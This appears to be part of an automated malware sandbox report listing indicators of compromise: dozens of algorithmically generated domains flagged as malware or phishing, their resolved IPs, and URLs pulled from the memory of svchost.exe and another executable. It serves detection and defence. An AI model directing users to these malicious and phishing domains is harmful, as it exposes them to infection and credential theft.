    http://gacyvah.com/H100%Avira URL Cloudmalware
    http://pujymiq.com/login.php100%Avira URL Cloudmalware
    http://pumyxiv.com/login.php100%Avira URL Cloudmalware
    http://volycem.com/login.php100%Avira URL Cloudmalware
    http://puzyduq.com/login.php100%Avira URL Cloudmalware
    http://puzydal.com/login.php100%Avira URL Cloudmalware
    http://vonydik.com/100%Avira URL Cloudphishing
    http://gacyzuz.com/login.php100%Avira URL Cloudphishing
    http://lysymux.com/http://vojykom.com/http://vonydik.com/H100%Avira URL Cloudmalware
    http://lykyjad.com/login.php100%Avira URL Cloudmalware
    http://lyxyvoj.com/100%Avira URL Cloudmalware
    http://vopymyc.com/login.php100%Avira URL Cloudmalware
    http://vojycec.com/login.php100%Avira URL Cloudmalware
    http://lykygur.com/100%Avira URL Cloudmalware
    http://pufybyv.com/login.php100%Avira URL Cloudmalware
    http://qegytyv.com/login.php100%Avira URL Cloudmalware
    http://ganyfes.com/login.php100%Avira URL Cloudmalware
    http://volydot.com/login.php100%Avira URL Cloudphishing
    http://pujygug.com/login.php100%Avira URL Cloudmalware

    Domains and IPs

    Contacted Domains

    NameIPActiveMaliciousAntivirus DetectionReputation
    pupydeq.com
    		13.248.169.48
    		truefalse
      		high
      pupycag.com
      		18.208.156.248
      		truefalse
        		high
        lyvyxor.com
        		208.100.26.245
        		truefalse
          		high
          77026.bodis.com
          		199.59.243.227
          		truefalse
            		high
            lysyvan.com
            		188.114.97.3
            		truefalse
              		high
              galynuh.com
              		64.225.91.73
              		truefalse
                		high
                parkingpage.namecheap.com
                		91.195.240.19
                		truefalse
                  		high
                  qegyhig.com
                  		188.114.96.3
                  		truefalse
                    		high
                    gatyfus.com
                    		178.162.203.226
                    		truefalse
                      		high
                      vonypom.com
                      		18.208.156.248
                      		truefalse
                        		high
                        puzylyp.com
                        		75.2.71.199
                        		truefalse
                          		high
                          082574.parkingcrew.net
                          		76.223.26.96
                          		truetrue
                            		unknown
                            qexyhuv.com
                            		76.223.67.189
                            		truefalse
                              		high
                              77980.bodis.com
                              		199.59.243.227
                              		truefalse
                                		high
                                pltraffic7.com
                                		72.52.179.174
                                		truefalse
                                  		high
                                  gadyciz.com
                                  		44.221.84.105
                                  		truefalse
                                    		high
                                    gadyniw.com
                                    		154.212.231.82
                                    		truefalse
                                      		high
                                      lyxynyx.com
                                      		103.224.212.210
                                      		truefalse
                                        		high
                                        www.sedoparking.com
                                        		64.190.63.136
                                        		truefalse
                                          		high
                                          lygyvuj.com
                                          		52.34.198.229
                                          		truefalse
                                            		high
                                            lygynud.com
                                            		3.94.10.34
                                            		truefalse
                                              		high
                                              s-part-0017.t-0009.t-msedge.net
                                              		13.107.246.45
                                              		truefalse
                                                		high
                                                gahyqah.com
                                                		23.253.46.64
                                                		truefalse
                                                  		high
                                                  vocyzit.com
                                                  		44.221.84.105
                                                  		truefalse
                                                    		high
                                                    galyqaz.com
                                                    		199.191.50.83
                                                    		truefalse
                                                      		high
                                                      vofycot.com
                                                      		103.224.182.252
                                                      		truefalse
                                                        		high
                                                        qetyhyg.com
                                                        		64.225.91.73
                                                        		truefalse
                                                          		high
                                                          gahyhiz.com
                                                          		44.221.84.105
                                                          		truefalse
                                                            		high
                                                            qetyfuv.com
                                                            		44.221.84.105
                                                            		truefalse
                                                              		high
                                                              gtm-sg-6l13ukk0m05.qu200.com
                                                              		103.150.10.48
                                                              		truetrue
                                                                		unknown
                                                                lymyxid.com
                                                                		3.94.10.34
                                                                		truefalse
                                                                  		high
                                                                  qegyval.com
                                                                  		154.85.183.50
                                                                  		truefalse
                                                                    		high
                                                                    gatyzoz.com
                                                                    		unknown
                                                                    		unknowntrue
                                                                      		unknown
                                                                      lykygaj.com
                                                                      		unknown
                                                                      		unknowntrue
                                                                        		unknown
                                                                        qedyxel.com
                                                                        		unknown
                                                                        		unknowntrue
                                                                          		unknown
                                                                          qedyqup.com
                                                                          		unknown
                                                                          		unknowntrue
                                                                            		unknown
                                                                            qekyluv.com
                                                                            		unknown
                                                                            		unknowntrue
                                                                              		unknown
                                                                              gatyrez.com
                                                                              		unknown
                                                                              		unknowntrue
                                                                                		unknown
                                                                                vofybic.com
                                                                                		unknown
                                                                                		unknowntrue
                                                                                  		unknown
                                                                                  pujydag.com
                                                                                  		unknown
                                                                                  		unknowntrue
                                                                                    		unknown
                                                                                    vojykom.com
                                                                                    		unknown
                                                                                    		unknowntrue
                                                                                      		unknown
                                                                                      qetysuq.com
                                                                                      		unknown
                                                                                      		unknowntrue
                                                                                        		unknown
                                                                                        vonyzut.com
                                                                                        		unknown
                                                                                        		unknowntrue
                                                                                          		unknown
                                                                                          pufyjuq.com
                                                                                          		unknown
                                                                                          		unknowntrue
                                                                                            		unknown
                                                                                            pujytug.com
                                                                                            		unknown
                                                                                            		unknowntrue
                                                                                              		unknown
                                                                                              galyhiw.com
                                                                                              		unknown
                                                                                              		unknowntrue
                                                                                                		unknown
                                                                                                lykygun.com
                                                                                                		unknown
                                                                                                		unknowntrue
                                                                                                  		unknown
                                                                                                  vopymyc.com
                                                                                                  		unknown
                                                                                                  		unknowntrue
                                                                                                    		unknown
                                                                                                    gatyfaz.com
                                                                                                    		unknown
                                                                                                    		unknowntrue
                                                                                                      		unknown
                                                                                                      vojycit.com
                                                                                                      		unknown
                                                                                                      		unknowntrue
                                                                                                        		unknown
                                                                                                        lyvymej.com
                                                                                                        		unknown
                                                                                                        		unknownfalse
                                                                                                          		high
                                                                                                          lygyvar.com
                                                                                                          		unknown
                                                                                                          		unknownfalse
                                                                                                            		high
                                                                                                            purygiv.com
                                                                                                            		unknown
                                                                                                            		unknowntrue
                                                                                                              		unknown
                                                                                                              gahykeb.com
                                                                                                              		unknown
                                                                                                              		unknowntrue
                                                                                                                		unknown
                                                                                                                purymog.com
                                                                                                                		unknown
                                                                                                                		unknowntrue
                                                                                                                  		unknown
                                                                                                                  gadyzib.com
                                                                                                                  		unknown
                                                                                                                  		unknowntrue
                                                                                                                    		unknown
                                                                                                                    ganyqow.com
                                                                                                                    		unknown
                                                                                                                    		unknowntrue
                                                                                                                      		unknown
                                                                                                                      lyxysun.com
                                                                                                                      		unknown
                                                                                                                      		unknowntrue
                                                                                                                        		unknown
                                                                                                                        puzyjyg.com
                                                                                                                        		unknown
                                                                                                                        		unknowntrue
                                                                                                                          		unknown
                                                                                                                          vopydek.com
                                                                                                                          		unknown
                                                                                                                          		unknowntrue
                                                                                                                            		unknown
                                                                                                                            qexyfuq.com
                                                                                                                            		unknown
                                                                                                                            		unknowntrue
                                                                                                                              		unknown
                                                                                                                              gatykyh.com
                                                                                                                              		unknown
                                                                                                                              		unknowntrue
                                                                                                                                		unknown
                                                                                                                                vocykem.com
                                                                                                                                		unknown
                                                                                                                                		unknowntrue
                                                                                                                                  		unknown
                                                                                                                                  gahynus.com
                                                                                                                                  		unknown
                                                                                                                                  		unknowntrue
                                                                                                                                    		unknown
                                                                                                                                    pumypop.com
                                                                                                                                    		unknown
                                                                                                                                    		unknowntrue
                                                                                                                                      		unknown
                                                                                                                                      lyvysur.com
                                                                                                                                      		unknown
                                                                                                                                      		unknowntrue
                                                                                                                                        		unknown
                                                                                                                                        puzypav.com
                                                                                                                                        		unknown
                                                                                                                                        		unknowntrue
                                                                                                                                          		unknown
                                                                                                                                          galypob.com
                                                                                                                                          		unknown
                                                                                                                                          		unknowntrue
                                                                                                                                            		unknown
                                                                                                                                            gacyqoz.com
                                                                                                                                            		unknown
                                                                                                                                            		unknowntrue
                                                                                                                                              		unknown
                                                                                                                                              lykywid.com
                                                                                                                                              		unknown
                                                                                                                                              		unknownfalse
                                                                                                                                                		high
                                                                                                                                                lykytin.com
                                                                                                                                                		unknown
                                                                                                                                                		unknowntrue
                                                                                                                                                  		unknown
                                                                                                                                                  vofyref.com
                                                                                                                                                  		unknown
                                                                                                                                                  		unknowntrue
                                                                                                                                                    		unknown
                                                                                                                                                    qekytig.com
                                                                                                                                                    		unknown
                                                                                                                                                    		unknowntrue
                                                                                                                                                      		unknown
                                                                                                                                                      vocyzek.com
                                                                                                                                                      		unknown
                                                                                                                                                      		unknowntrue
                                                                                                                                                        		unknown
                                                                                                                                                        puvypoq.com
                                                                                                                                                        		unknown
                                                                                                                                                        		unknowntrue
                                                                                                                                                          		unknown
                                                                                                                                                          puvybeg.com
                                                                                                                                                          		unknown
                                                                                                                                                          		unknowntrue
                                                                                                                                                            		unknown
                                                                                                                                                            pupydig.com
                                                                                                                                                            		unknown
                                                                                                                                                            		unknowntrue
                                                                                                                                                              		unknown
                                                                                                                                                              pupyguq.com
                                                                                                                                                              		unknown
                                                                                                                                                              		unknowntrue
                                                                                                                                                                		unknown
                                                                                                                                                                qedyqal.com
                                                                                                                                                                		unknown
                                                                                                                                                                		unknowntrue
                                                                                                                                                                  		unknown
                                                                                                                                                                  vowymom.com
                                                                                                                                                                  		unknown
                                                                                                                                                                  		unknowntrue
                                                                                                                                                                    		unknown
                                                                                                                                                                    purypol.com
                                                                                                                                                                    		unknown
                                                                                                                                                                    		unknowntrue
                                                                                                                                                                      		unknown
                                                                                                                                                                      ganypeb.com
                                                                                                                                                                      		unknown
                                                                                                                                                                      		unknowntrue
                                                                                                                                                                        		unknown
                                                                                                                                                                        vopymit.com
                                                                                                                                                                        		unknown
                                                                                                                                                                        		unknowntrue
                                                                                                                                                                          		unknown
                                                                                                                                                                          vowyguf.com
                                                                                                                                                                          		unknown
                                                                                                                                                                          		unknowntrue
                                                                                                                                                                            		unknown
                                                                                                                                                                            pupytiq.com
                                                                                                                                                                            		unknown
                                                                                                                                                                            		unknowntrue
                                                                                                                                                                              		unknown
                                                                                                                                                                              lymyfoj.com
                                                                                                                                                                              		unknown
                                                                                                                                                                              		unknowntrue
                                                                                                                                                                                		unknown
                                                                                                                                                                                vowyzuf.com
                                                                                                                                                                                		unknown
                                                                                                                                                                                		unknowntrue
                                                                                                                                                                                  		unknown
                                                                                                                                                                                  gatyruw.com
                                                                                                                                                                                  		unknown
                                                                                                                                                                                  		unknowntrue
                                                                                                                                                                                    		unknown
                                                                                                                                                                                    qebynyg.com
                                                                                                                                                                                    		unknown
                                                                                                                                                                                    		unknowntrue
                                                                                                                                                                                      		unknown
                                                                                                                                                                                      puzymev.com
                                                                                                                                                                                      		unknown
                                                                                                                                                                                      		unknowntrue
                                                                                                                                                                                        		unknown
                                                                                                                                                                                        pupymol.com
                                                                                                                                                                                        		unknown
                                                                                                                                                                                        		unknowntrue
                                                                                                                                                                                          		unknown
                                                                                                                                                                                          vojycif.com
                                                                                                                                                                                          		unknown
                                                                                                                                                                                          		unknowntrue
                                                                                                                                                                                            		unknown
                                                                                                                                                                                            qebyvyl.com
                                                                                                                                                                                            		unknown
                                                                                                                                                                                            		unknownfalse
                                                                                                                                                                                              		high
                                                                                                                                                                                              lymysan.com
                                                                                                                                                                                              		unknown
                                                                                                                                                                                              		unknowntrue
                                                                                                                                                                                                		unknown
                                                                                                                                                                                                qekynuq.com
                                                                                                                                                                                                		unknown
                                                                                                                                                                                                		unknowntrue
                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                  puryjil.com
                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                  		unknowntrue
                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                    puvytuv.com
                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                    		unknowntrue
                                                                                                                                                                                                      		unknown
                                                                                                                                                                                                      galyzus.com
                                                                                                                                                                                                      		unknown
                                                                                                                                                                                                      		unknowntrue
                                                                                                                                                                                                        		unknown
                                                                                                                                                                                                        gadyfuh.com
                                                                                                                                                                                                        		unknown
                                                                                                                                                                                                        		unknowntrue
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          vofycyk.com
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          		unknowntrue
                                                                                                                                                                                                            		unknown

                                                                                                                                                                                                            Contacted URLs

                                                                                                                                                                                                            NameMaliciousAntivirus DetectionReputation
                                                                                                                                                                                                            http://lygyvuj.com/login.phptrue
                                                                                                                                                                                                            • Avira URL Cloud: phishing
                                                                                                                                                                                                            		unknown
                                                                                                                                                                                                            http://ww5.galyqaz.com/true
                                                                                                                                                                                                            • Avira URL Cloud: malware
                                                                                                                                                                                                            		unknown
                                                                                                                                                                                                            https://puzylyp.com/login.phptrue
                                                                                                                                                                                                            • Avira URL Cloud: malware
                                                                                                                                                                                                            		unknown
                                                                                                                                                                                                            http://ww25.lyxynyx.com/login.php?subid1=20241112-0450-16f3-ae99-53051689f189true
                                                                                                                                                                                                            • Avira URL Cloud: malware
                                                                                                                                                                                                            		unknown
                                                                                                                                                                                                            http://galyqaz.com/login.phpfalse
                                                                                                                                                                                                              		high

                                                                                                                                                                                                              URLs from Memory and Binaries

                                                                                                                                                                                                              NameSourceMaliciousAntivirus DetectionReputation
                                                                                                                                                                                                              http://ganyhab.com/svchost.exe, 00000001.00000003.2176300458.0000000008B9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2173654266.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2172895145.0000000002F97000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://vopycoc.com/login.phpsvchost.exe, 00000001.00000003.2279729666.0000000004DCC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968327079.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2282417105.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267072964.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2278879701.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2291331219.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2292428208.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2287989020.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2276411177.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2279226567.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2290690746.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2788287399.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968394988.0000000008B05000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://puzytap.com/http://qekylag.com/http://pupymyp.com/http://qekylag.com/http://volyrac.com/http:svchost.exe, 00000001.00000003.2176300458.0000000008B9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2168978685.0000000008B9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2161988616.0000000008BA8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140994137.0000000008BAA000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://qekyryp.com/login.phpsvchost.exe, 00000001.00000003.1950468360.0000000002F55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1949257540.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1955984715.0000000008A16000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2275129713.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2283406720.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2261960277.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1949823209.0000000002F54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264012098.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2276411177.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1953259371.0000000008A14000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1956479532.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2188550735.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2191444525.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2263454454.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1954568937.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2188539510.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1952617861.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2292769019.0000000008B0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267073793.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1956146797.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A1B000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://ganydiw.com/http://pupymyp.com/Hsvchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: safe
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://lykywid.com/http://qedyqup.com/Psvchost.exe, 00000001.00000003.1894208080.0000000008A06000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://lyxyvyn.com/login.phpsvchost.exe, 00000001.00000003.1944205960.0000000002F55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1944285189.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1944474921.0000000002F55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1946099887.0000000002F62000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1946581985.0000000002FBB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1944143633.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1945543952.0000000008A3A000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://purycap.com/login.phpsvchost.exe, 00000001.00000003.1693187181.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1695333905.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2023538220.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1980885296.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2788563099.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2856090650.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993091460.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1687565535.0000000008A2D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2770707489.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993394339.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1687570808.0000000008A2F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1692993962.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2760787901.0000000002F61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2805839197.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1692942093.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2019576714.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2778000948.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2341054199.0000000008FE9000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2336765148.0000000008BA0000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2313579209.0000000000D40000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2336765148.0000000008B64000.00000004.00000001.00020000.00000000.sdmptrue
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://vojyjyc.com/login.phpsvchost.exe, 00000001.00000003.1903825905.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904740415.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905299063.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1906646427.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1906625484.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903806913.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904744278.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905612292.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154704130.0000000008A1D000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                              • Avira URL Cloud: phishing
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://qexyryl.com/svchost.exe, 00000001.00000003.1687570808.0000000008A2A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2762700110.0000000002F9B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2760020874.0000000002F9B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2770707489.0000000008ABA000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2331052540.0000000008719000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2298247060.0000000000A54000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2298247060.0000000000A67000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                              • Avira URL Cloud: phishing
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://lymygyx.com/svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119051522.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2118930556.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2115683579.0000000008A1E000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://ganydiw.com/svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: safe
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://lysyvax.com/login.phpsvchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968327079.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2282417105.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267072964.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2278879701.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2291331219.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2292428208.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2287989020.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2276411177.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2279226567.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2290690746.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2788287399.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968394988.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968883679.0000000008A3A000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://vopyret.com/login.phpsvchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870478184.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872874383.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2105674590.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874920180.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874920180.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874825901.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875834987.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874582176.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1882364910.0000000008A2E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872943728.0000000008A14000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                              • Avira URL Cloud: phishing
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://pumygyp.com/svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              http://lyvysur.com/login.phpsvchost.exe, 00000001.00000003.2898652067.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2148149391.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900620371.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901757590.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900619492.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903904408.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2141003821.0000000008A1C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                              		unknown
